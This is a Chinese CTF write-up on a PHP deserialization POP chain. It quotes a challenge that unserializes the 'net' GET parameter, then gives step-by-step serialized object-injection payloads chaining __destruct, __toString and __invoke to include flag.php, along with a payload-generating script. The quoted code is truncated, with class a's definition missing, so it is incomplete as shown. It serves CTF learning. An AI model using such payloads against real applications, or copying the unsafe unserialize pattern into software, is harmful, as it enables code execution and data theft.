0.题目
最近做了一道pop反序列化链的题目,题目代码如下:
' . $this->test;
}
}
class b {
public $test1;
public function __toString() {
echo 'you success get class b
';
$function = $this ->test1;
//var_dump($function);
return $function();
}
}
class c {
public function __invoke() {
include('./flag.php');
return $flag;
}
}
if (isset($_GET['net'])) {
unserialize($_GET['net']);
}
?>
先根据代码进行简单的分析,要拿到flag则需要通过类c的__invoke魔术方法。要触发该魔术方法则需要将类c当作方法调用,此时可以看到类b中有该操作。那么则需要拿下类b并将c类赋值给test1,此时可以看到b中有一个__toString魔术方法,则需要将其当作字符串调用,此时类a中的__destruct方法中的echo可以达到该操作。因此需要构建类a将类b作为变量test传进去。最后实例化类a等到自动销毁执行__destruct方法。
1.先实例化类a,拿下类a
Payload:O:1:"a":1:{s:4:"test";N;}
2.把类b的实例赋值给类a的test
,利用类a的输出来触发类b的toString方法,拿下类b。Payload:O:1:"a":1:{s:4:"test";O:1:"b":1:{s:5:"test1";N;}}
3.把类c赋值给b的test1取得flag
Flag:{b0by_baby_p0ppop!!!!!}。
Payload:O:1:"a":1:{s:4:"test";O:1:"b":1:{s:5:"test1";O:1:"c":0:{}}}
最后附上序列化的php代码
' . $this->test;
}
}
class b {
public $test1;
public function __toString() {
echo 'you success get class b
';
$function = $this ->test1;
return $function();
}
}
class c {
public function __invoke() {
return $flag;
}
}
$one = new a();
$two = new b();
$three = new c();
$one->test = $two;
$two->test1 = $three;
echo serialize($one);
?>